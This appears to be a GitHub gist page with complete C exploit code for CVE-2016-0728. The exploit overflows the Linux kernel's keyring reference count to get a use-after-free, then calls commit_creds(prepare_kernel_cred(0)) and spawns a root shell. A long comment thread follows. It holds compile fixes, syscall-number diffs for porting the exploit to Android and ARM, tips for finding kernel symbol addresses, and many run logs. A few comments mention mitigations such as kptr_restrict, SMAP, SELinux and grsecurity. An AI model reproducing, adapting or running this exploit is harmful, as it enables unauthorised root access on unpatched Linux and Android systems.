Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
cve_2016_0728 exploit
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}

For those testing on Gentoo, you may need to do:

emerge -1n sys-apps/keyutils

For ubuntu/debian install libkeyutils-dev

bactis commented Jan 19, 2016

Trying to compile for android, on OSX. Using the command ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk

getting this error
./Android.mk
[armeabi] Compile thumb : cve_2016_0728 <= cve_2016_0728.c
./cve_2016_0728.c:8:22: fatal error: keyutils.h: No such file or directory
#include <keyutils.h>
^
compilation terminated.
make: *** [obj/local/armeabi/objs/cve_2016_0728/cve_2016_0728.o] Error 1
thq-m-bacti01:exploitTest bactis$

Android.mk file contents are below
LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_SRC_FILES :=
cve_2016_0728.c
LOCAL_C_INCLUDE := \

LOCAL_MODULE := cve_2016_0728
LOCAL_MODULE_TAGS := optional

include $(BUILD_STATIC_EXECUTABLE)

include $(BUILD_EXECUTABLE)

include $(call all-makefiles-under,$(LOCAL_PATH))

@ghost

ghost commented Jan 19, 2016

Kernel already has some protection against this (not allowing kernel symbols to be read from non-root users). Making the attack surfuce lower. Problem is that by default it's turned off. See the Arch Wiki for more information: https://wiki.archlinux.org/index.php/security#Restricting_access_to_kernel_pointers_in_the_proc_filesystem

someone tested in redhat distros ?

zhuowei commented Jan 19, 2016

@bactis it looks like Android's Bionic libc doesn't have a wrapper for keyctl (https://github.com/android/platform_bionic/search?utf8=%E2%9C%93&q=keyctl), so you might have to use the syscall() call to invoke it directly. You can get the constant values by including <linux/keyctl.h>.

benpro commented Jan 19, 2016

for (i = 1; i < 0xfffffffd; i++) {

How many time this should take?

@benpro "the full exploit which takes about 30 minutes to run on Intel Core i7-5500 CPU"

Is it Okay if I compile it using one system, and run it in another?

P4z commented Jan 19, 2016

correct me if I'm wrong

for (i = 1; i < 0xfffffffd; i++) { … sleep(5) … }

4294967292ms x 5 / 1000 / 60 / 60 = 5965 min

Dasoren commented Jan 19, 2016

"For ubuntu/debian install libkeyutils-dev"

If i do not install this, will this attack still work? or is this just because the this program needs that lib, but an attacker could include it another way?

@P4z: sleep hits only if (i == (0xffffffff - l)) {, which is 1 of...

lenisko commented Jan 19, 2016

@Dasoren It's used only to compile... not to run.

Dasoren commented Jan 19, 2016

thank you @lenisko would there be any issue with running this on my systems, aka would anything bad happen? Running Ubuntu 14.04

I can't seem to get this to compile on CentOS 7 kernel version 3.10.0-327.3.1.el7.x86_64

/tmp/ccogSP7A.o: In functionmain':
bug.c:(.text+0x1a3): undefined reference to keyctl' bug.c:(.text+0x1d9): undefined reference tokeyctl'
bug.c:(.text+0x240): undefined reference to keyctl' bug.c:(.text+0x293): undefined reference tokeyctl'
bug.c:(.text+0x3db): undefined reference to keyctl' collect2: error: ld returned 1 exit status

This is with the latest keyutils, keyutils-libs and keyutils-libs-devel. Any ideas?

@Atothendrew your libc doesn't have the syscall wrapper. Look into manually making the syscalls with syscall like @zhuowei mentioned.

@bactis @zhuowei something like this could potentially work

80c80
<     if ((msqid = syscall(303, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

---
>     if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
89c89
<     serial = syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name);

---
>   serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
94,95c94,95
< 
<   if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {

---
>   
>   if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
107c107
<   if (syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

---
>         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
115c115
<       if(syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

---
>         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
133c133
<       if ((msqid = syscall(303, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

---
>             if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
138c138
<         if (syscall(301, msqid, &msg, sizeof(msg.mtext), 0) == -1) {

---
>                 if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
153c153
<     if (syscall(311, KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {

---
>     if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
161c161
< }

tuxayo commented Jan 19, 2016

On Antergos (an out of the box Arch Linux) the resulting shell doesn't have root privileges.

P4z commented Jan 19, 2016

@favoretti obviously…

Following @emansom comment it seems like sysctl -w kernel/kptr_restrict=1 defends against this.
Also updates are available already for Ubuntu http://www.ubuntu.com/usn/usn-2870-2/

@Ragora "Linux kernal 3.8 and higher"

Ragora commented Jan 19, 2016

@bweston92 I misread something altogether then, awesome. In either case, at least I know this box definitely isn't afflicted.

Efreak commented Jan 19, 2016

@bactis @strazzere I'm trying to do the same thing. I'm using this source, which seems to be properly modified, but I'm getting errors about includes. I copied keyutils.h into the local directory to solve the first include issue, but it wants sys/msg.h as well. Is there a way to tell the NDK to give me access to these files? (I have very little experience with c and compiler instructions, and even less with android). Any quick things that I'm missing? I also tried compiling directly with the armeabi, but that gave other issues.

Tomekku commented Jan 19, 2016

@tuxayo same on Linux Mint

bactis commented Jan 19, 2016

@zhuowei thank you!
@strazzere thank you, thank you !!!!!!!!!!

got it to compile

@Efreak

You can just copy them locally and include them with "sys/msg.h" style opposed to <sys/msg.h>. I just ripped out the structs and defines needed and put them into an accompanying file since that is all that was actually needed.

bactis commented Jan 19, 2016

@Efreak I just made a /sys dir and put this in there
/*

  • Copyright (C) 2014 The Android Open Source Project
  • All rights reserved.
    *
  • Redistribution and use in source and binary forms, with or without
  • modification, are permitted provided that the following conditions
  • are met:
  • * Redistributions of source code must retain the above copyright
  • notice, this list of conditions and the following disclaimer.
  • * Redistributions in binary form must reproduce the above copyright
  • notice, this list of conditions and the following disclaimer in
  • the documentation and/or other materials provided with the
  • distribution.
  • THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
  • "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
  • LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
  • FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
  • COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
  • INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
  • BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
  • OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
  • AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
  • OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
  • OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  • SUCH DAMAGE.
    */

ifndef SYS_MSG_H

define SYS_MSG_H

include <linux/msg.h>

endif /* SYS_MSG_H */

I'd be happy if Red Star OS would work this flawlessly 👯 👯

i use it but look like this

kali-cloud% ./test PP1

uid=544, euid=544

keyctl: Permission denied

@bactis @strazzere what i should do?

HackIT commented Jan 20, 2016

Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''

keyctl won't work on android?

whoozle commented Jan 20, 2016

does not work on gentoo linux-4.3.3

@brick713 what I posted was for a specific android device I was testing on - you'll need to ensure the syscall's are correct for whatever 'kali-cloud' is

dbegit commented Jan 20, 2016

Doesn't work on centos 6.6 i386.

[user@WKSEDI113 tmp]$ ./cve_2016_0728 PP1
uid=500, euid=500
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=500, euid=500
sh-4.1$ id

imdadvs commented Jan 20, 2016

The exploit code doesn't work even after changing the addresses of commit_creds_addr and prepare_kernel_cred

s@s:~/Desktop$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
s

Did not work out on ubuntu 12.04 .. kernal 3.13.0-74-generic
i-7

chelaxe commented Jan 20, 2016

sudo apt-get install libkeyutils-dev
gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$

Did not work out on ubuntu 14.04 .. kernal 3.13.0-74-generic
i-5

I, too, only get shells with my own UID. Is this because the exploit programm is the only one with a key named PP_KEY? Where could I find the key names of programs running as root?

kernux commented Jan 20, 2016

Can you tell me the system you used? I can't get root in my system.

@strazzere
Dose KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL exist in <linux/keyctl.h>

cve_2016_0728.c: In function ‘main’:
cve_2016_0728.c:96:50: error: ‘KEY_POS_ALL’ undeclared (first use in this function)
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
^
cve_2016_0728.c:96:50: note: each undeclared identifier is reported only once for each function it appears in
cve_2016_0728.c:96:64: error: ‘KEY_USR_ALL’ undeclared (first use in this function)
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
^
cve_2016_0728.c:96:78: error: ‘KEY_GRP_ALL’ undeclared (first use in this function)
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
^
cve_2016_0728.c:96:92: error: ‘KEY_OTH_ALL’ undeclared (first use in this function)
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {

./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000

$ uname -a
Linux zvm-virtual-machine 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux

Does not work out on Linux Mint 17

mastier commented Jan 20, 2016

Someone could explain the PP_KEY parameter ? any references , please ?

jmboris commented Jan 20, 2016

Archlinux , Does not work out on Arch :)

uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$

sh-4.3$ uname -r
4.1.15-1-lts

Does not work on ubuntu/trusty64

uid=1000, euid=1000                                                                                                                    |
Increfing...                                                                                                                           |
        finished increfing                                                                                                             |
forking...
finished forking
caling revoke...
uid=1000, euid=1000

how is it working in some cases explain please

Does it affect kernel 4.3 and up?

Hi guys! I was trying to use this exploit on OpenSuse but it stay on "Increfing..." and nothing happen.

4.1.13-5-default
./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...

Any idea?

tuxayo commented Jan 20, 2016

After 27min on Debian 8 on a Pentium 4@3.00GHz, it fails with:

keyctl: Disk quota exceeded

edit: second try, after 80 min.
I get a shell with no particular privileges

tuxayo commented Jan 20, 2016

@bernardocout
http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

 the full exploit which takes about 30 minutes to run on Intel Core i7-5500 CPU

To help you to compare with your hardware, it's a 3GHz recent processor and the exploit uses one thread

@tuxayo thanks!

Now I got the same error than you:

 keyctl: Disk quota exceeded 

I was reading that is because the user (not root) has a limited quote, he can't use all the disk, or something like that.

Does anyone get the result on Android? how to compile successfully?

@sunnyjiang

pls refer to the zhouwei's solution, try syscall...
anyway I tested Android and Ubuntu, both of them cannot get root

b4ldr commented Jan 20, 2016

couldn't get it to work on ubuntu 14.04

$ uname -a
Linux server 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
$ ./cve_2016_0728 PP1
uid=1109, euid=1109
Increfing...

finished increfing
forking...
finished forking
caling revoke...
uid=1109, euid=1109

Anyone know what i may be doing wrong. What should the PP_KEY value be? i have tried PP_KEY and PP1 and neither produced a root shell. should i be using a value that already exists in /proc/keys or is this value arbitrary?

line 2, missing the '8' (/* $ ./cve_2016_072 PP_KEY */)

If you check:
root@eben:/proc# cat keys
075e0cb4 IR-Q--- 63 expd 3f3f3f3f 1000 1001 keyring PP1: empty
16477452 I--Q--- 3 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
19c6487a I--Q--- 21 perm 3f030000 1000 1001 keyring _ses: 1
2ad3452d I--Q--- 1 perm 1f3f0000 0 65534 keyring _uid_ses.0: 1
36d1aaca I--Q--- 2 perm 1f3f0000 0 65534 keyring _uid.0: empty
root@eben:/proc#

You will see it created the key. However if you check this -
/proc/PID/smaps

example:
root@eben:/proc# find . -name "smaps"
./1/task/1/smaps
./1/smaps
./2/task/2/smaps
./2/smaps
./3/task/3/smaps
./3/smaps
./5/task/5/smaps

It's probably not going to work because SMAP ( Supervisor Mode Access Prevention ) is enabled within the running kernel. Which will only trigger /bin/sh with the current UID.

Hence in the release doc --
Mitigations & Conclusions
The vulnerability affects any Linux Kernel version 3.8 and higher. SMEP & SMAP will make it difficult to exploit as well as SELinux on android devices. Maybe we’ll talk about tricks to bypass those mitigation in upcoming blogs, anyway the most important thing for now is to patch it as soon as you can.

ohdns commented Jan 20, 2016

Has anyone managed to make this work on CentOS 7? If so, does it still work if you use sysctl -w kernel.kptr_restrict=1 I have been testing in VirtualBox, but that hypervisor may be masking my results. The most I get is an oops panic after an hour or so.

I do see smaps

[ohadmin@localhost proc]$ find . -name "smaps"
find: './tty/driver': Permission denied
./915/task/915/smaps
./915/smaps
./933/task/933/smaps
./933/smaps

toxeek commented Jan 20, 2016

For those who wonder why it's not working on your Ubuntu (or other distributions) check for things like unattended-upgrades (see the logs), etc.

toxeek commented Jan 20, 2016

not a bad idea to check,
ls -ltr /boot
and see the last updates

Sorry guys, my old laptop with CentOS 7 burned after 40 mins of "Increfing..." xD
ventilating the room )

The vulnerability affects any Linux Kernel version 3.8 and higher.
It seems like some folks here missed that sentence.

ohdns commented Jan 20, 2016

The examples I see here are 3.8 and higher.

@SleepProgger It seems to be a typo because everywhere else on the blog says 3.18
@strazzere
I had to input those values to be able to compile for Android (API 21) on an ARM architecture.

80c80
<     if ((msqid = syscall(186, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

---
>     if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
89c89
<     serial = syscall(219, KEYCTL_JOIN_SESSION_KEYRING, keyring_name);

---
>   serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
94,95c94,95
< 
<   if (syscall(219, KEYCTL_SETPERM, serial, 0x3f000000 | 0x003f0000 | 0x00003f00 | 0x0000003f) < 0) {

---
>   
>   if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
107c107
<   if (syscall(219, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

---
>         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
115c115
<       if(syscall(219, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

---
>         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
133c133
<       if ((msqid = syscall(186, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

---
>             if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
138c138
<         if (syscall(189, msqid, &msg, sizeof(msg.mtext), 0) == -1) {

---
>                 if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
153c153
<     if (syscall(219, KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {

---
>     if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
161c161

So far I obtained :

$ ./cve.so PP1                                    
uid=2000, euid=2000
msgget: Bad address

It seems that line 80

    if ((msqid = syscall(186, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

Fails with a bad address. Any leads?

EDIT : On second thought, this exploit seems to be made for a x64 system (as seen from the define at the very beginning). It might require more work to find the proper offsets, especially for

#define STRUCT_LEN (0xb8 - 0x30)

which I am trying to figure out what it stands for.

EDIT #2 : Found on the blog.

s4per commented Jan 20, 2016

Debian:
$ ./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ uname -r
4.3.0-1-amd64
$

The PoC code failed to escalate privilege on Linux VMs (XenServer) running manually compiled Linux kernel 4.4.0 and 4.3.0.

Linux 4.4.0

It doesn't work.

[xiaobai@xiaobai tmp]$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
[xiaobai@xiaobai tmp]$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -r
4.1.13-100.fc21.x86_64
sh-4.3$

Didn't worked on Ubuntu 14.04 with kernel 3.13.0-43-generic, below is the output.

test@falcon:~$ ./cve_2016_0728 PP_KEY
uid=1015, euid=1015
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1015, euid=1015
$ whoami
test

According to @zhouwei @strazzere advice, include keyutils.h file , use ndk compiled successfully. Please refer to the url.

https://raw.githubusercontent.com/sunnyjiang/cve_2016_0728/master/cve_2016_0728

But it can't get root privilege in some Android devices. And some may get error: msgget: Function not implemented

dint work.fedora 22

$ ./test_2016_0728 -PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -a
Linux dhcppc0 4.0.6-300.fc22.x86_64 #1 SMP Tue Jun 23 13:58:53 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

Uhm, strange …. my testing system (a Ubuntu VM) seems to have SMAP enabled (sudo grep CONFIG_X86_SMAP /boot/config-$(uname -r)) and yet the exploit worked 1 out of 3 times (2 were kernel panics).

BTW, for those who didn't get it to work, make sure to adapt the static addresses to what's shown in /proc/kallsyms.

EDIT: Although it was enabled in the kernel, the VM's cpu doesn't support SMAP (grep -w smap /proc/cpuinfo)

@cdownschrome @ohdns Having smaps files in /proc doesn't mean SMAP is enabled. Those are just files showing memory usage information. You need to check:

  • That your kernel supports it: Look for CONFIG_X86_SMAP in your kernel configuration (normally in /boot/config-$(uname -r), /proc/config or /proc/config.gz)
  • That your CPU supports it: grep -w smap /proc/cpuinfo

Also, make sure to adapt the static addresses to what's shown in /proc/kallsyms

@2opremio
Yes I stand corrected and realized that yesterday. I misunderstood what it really meant at first glance and referred to the proc manpage. My bad there ( Thank you and good catch ! ) --

My cpu does not support smap.
root@eben:# cat /proc/cpuinfo | egrep -i "model|smap" | sort | uniq
model : 48
model name : AMD A8-6410 APU with AMD Radeon R5 Graphics
root@eben:
#

The default Kali Kernel has SMAP enabled.
root@eben:# uname -r ; cat /proc/cpuinfo | grep -i smap ; cat /boot/config-4.0.0-kali1-amd64 | egrep -i "smap|smep"
4.0.0-kali1-amd64
CONFIG_X86_SMAP=y
CONFIG_MTD_PHYSMAP=m
root@eben:
#

I have set my commit_creds | prepare_kernel_cred accordingly ( I should have written that / of course with 0x hex prefix ).
root@eben:# cat /proc/kallsyms | egrep -i "commit_creds|prepare_kernel_cred"
ffffffff8108e270 T commit_creds
ffffffff8108e530 T prepare_kernel_cred
root@eben:
#

I have also tried booting and modifying grub to nosmep | nosmap.
root@eben:# curl -s https://www.kernel.org/doc/Documentation/kernel-parameters.txt | egrep -i "nosmap|nosmep"
nosmap [X86]
nosmep [X86]
root@eben:
#

Obviously my CPU does not support it regardless but why not.

root@eben:# dmesg | egrep -i "smap|smep"
[ 0.000000] Command line: BOOT_IMAGE=/vmlinuz-4.0.0-kali1-amd64 root=UUID=d90b8683-2912-4097-a583-923579e44eb0 ro initrd=/install/initrd.gz quiet nosmep nosmap
[ 0.000000] Kernel command line: BOOT_IMAGE=/vmlinuz-4.0.0-kali1-amd64 root=UUID=d90b8683-2912-4097-a583-923579e44eb0 ro initrd=/install/initrd.gz quiet nosmep nosmap
root@eben:
#

Now running the exploit --
10:04:46-cdowns@eben:~/Security$ cat cve_2016_0728.c | egrep "COMMIT_CREDS_ADDR|PREPARE_KERNEL_CREDS_ADDR" | grep "0x"

define COMMIT_CREDS_ADDR (0xffffffff8108e270)

define PREPARE_KERNEL_CREDS_ADDR (0xffffffff8108e530)

10:05:02-cdowns@eben:/Security$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
10:05:15-cdowns@eben:
/Security$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
[\033[35m]\t[\033[m]-[\033[36m]\u[\033[m]@[\033[32m]\h:[\033[33;1m]\w[\033[m]$

Thanks !

@2opremio
Going to test on my Kali VM. I'll post back results --

matlink commented Jan 21, 2016

@2opremio how to get commit_creds and prepare_kernel_cred adresses in /proc/kallsyms if you are not root ?

zhuowei commented Jan 21, 2016

@bactis @strazzere @sunnyjiang Many modern Android devices (such as Nexus 7 2013, Nexus 6, Nexus 5, and probably others) disable SysV IPC support (msgget, etc) from the kernel, so one would need to find an alternate way to take advantage of the use-after-free. Do you have any ideas? (For example, the linked presentation from the PingPongRoot authors showed two methods: the simpler method of using sendmmsg to allocate the memory can probably be adapted easily for this)

See https://www.google.ca/search?q=Remove+SysV+IPC+from+kernel+site:android.googlesource.com (I think all Nexus devices have SysV IPC disabled)

Also note that 64-bit Android devices would need a ROP chain in the kernel because they implement something similar to SMEP (see https://www.blackhat.com/docs/us-15/materials/us-15-Xu-Ah-Universal-Android-Rooting-Is-Back.pdf )

@matlink
Since most people do not compile their own kernels, the attacker can install the same distro version as the victim and get the /proc/kallsyms file from their own machine

matlink commented Jan 21, 2016

@zhuowei oh yes you're right. And do you know what is PP_KEY, used as keyring_name in the code, and how can we know this value ?

@2opremio Doesn't seem to work on Arch 4.2.5, and yes I changed my static addresses:

shane@archie  ~  cat /proc/cpuinfo | egrep -i "model|smap" | sort | uniq
model : 58
model name : Intel(R) Core(TM) i5-3320M CPU @ 2.60GHz

./arch_linux PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -r
4.2.5-1-ARCH
sh-4.3$ pacman -Syu
error: you cannot perform this operation unless you are root.
sh-4.3$

Got to the shell in less than 20 minutes, but normal privileges!

zhuowei commented Jan 21, 2016

@matlink I'm not too sure: It's just the name of the key to be created; passing in any string should work; PerceptionPoint's blog post used PP1 as the key name.

I managed to get a working arm executable by doing a cross compile and also linked it statically to the keyutils library (had to compile that from source too, naturally). I used the code above unmodified. The compiler threw some warnings but finished compile thou. The file ended up being ~600kb. Running it on my samsung galaxy s4 seems to take forever so i really cant say whether it actuallty does what it is supposed to. But what i can see is that cat /proc/keys reveals that the key is actuallu generated. But refcount isnt changing.. is this because the kernel is 3.4.0 or did i mess up..!

zhuowei commented Jan 21, 2016

On my Nexus 6P (Android 6.0.1) SELinux prevents the PoC from working:

shell@angler:/data/local/tmp $ ./cve_2016_0728 PP1
uid=2000, euid=2000
keyctl: Permission denied

in dmesg

type=1400 audit(1453407146.077:64394): avc: denied { search } for pid=1728 comm="cve_2016_0728" scontext=u:r:shell:s0 tcontext=u:r:shell:s0 tclass=key permissive=0

Edit: Android 5.0 moved untrusted_app to enforcing in SELinux, so this denial should happen on all devices running Lollipop and above. (On Android 6.0 The only two executables that can access keyctl are init and vold, both of which are already running as root anyways)

@zhuoweu my Galaxy S4 runs android 5.0.1 but i dont get permission denied. Like i wrote earlier the key appears to be created but refcount does not change...

@birdstream kernel 3.4 is not affected

@matlink You need to be root to read /proc/kallsyms. In fact, if you don't have root privileges, should you really be running the exploit?

Apart from the strange looking code (tabs and spaces mix-up perhaps?), I have yet to see a system where this exploit actually works. Either it is broken or this is all FUD.

@nardholio I'm aware of that. But the difference is that on my Ubuntu desktop i could see the refcount go up (but still did not get root access in the end though). On my phone however it was only referenced 3 times and then the process ended up getting the D state... So i'm wondering if that is to be expected or i messed up when compiling it? There were some warning about regparm being ignored and some "spill on implicit...". But it did produce a working ARM binary

Is it safe to run this PoC in production environment for checking if the patch has been applied?

With kernel 4.1.6 and grsecurity, not exploitable via overflow (but still leaks) :)

$ ./cve_2016_0728 123
uid=1000, euid=1000
Increfing...
Killed

[701688.047029] PAX: refcount overflow detected in: cve_2016_0728:15567, uid/euid: 1000/1000
[701688.047035] CPU: 2 PID: 15567 Comm: cve_2016_0728 Tainted: G I 4.1.6-1-grsec-kvm-host #29
[701688.047036] Hardware name: System manufacturer System Product Name/P6T WS PRO, BIOS 0603 02/26/2009
[701688.047039] task: ffff8801b7642c80 ti: ffff8801b76430b8 task.ti: ffff8801b76430b8
[701688.047040] RIP: 0010:[] [] find_keyring_by_name+0xdd/0x160
[701688.047047] RSP: 0018:ffffc90005dc3dd8 EFLAGS: 00000a16
[701688.047048] RAX: 0000000000000000 RBX: ffff8805f6346000 RCX: 000000007fffffff
[701688.047049] RDX: 000000007fffffff RSI: ffff8803544772c0 RDI: ffff8805f6346000
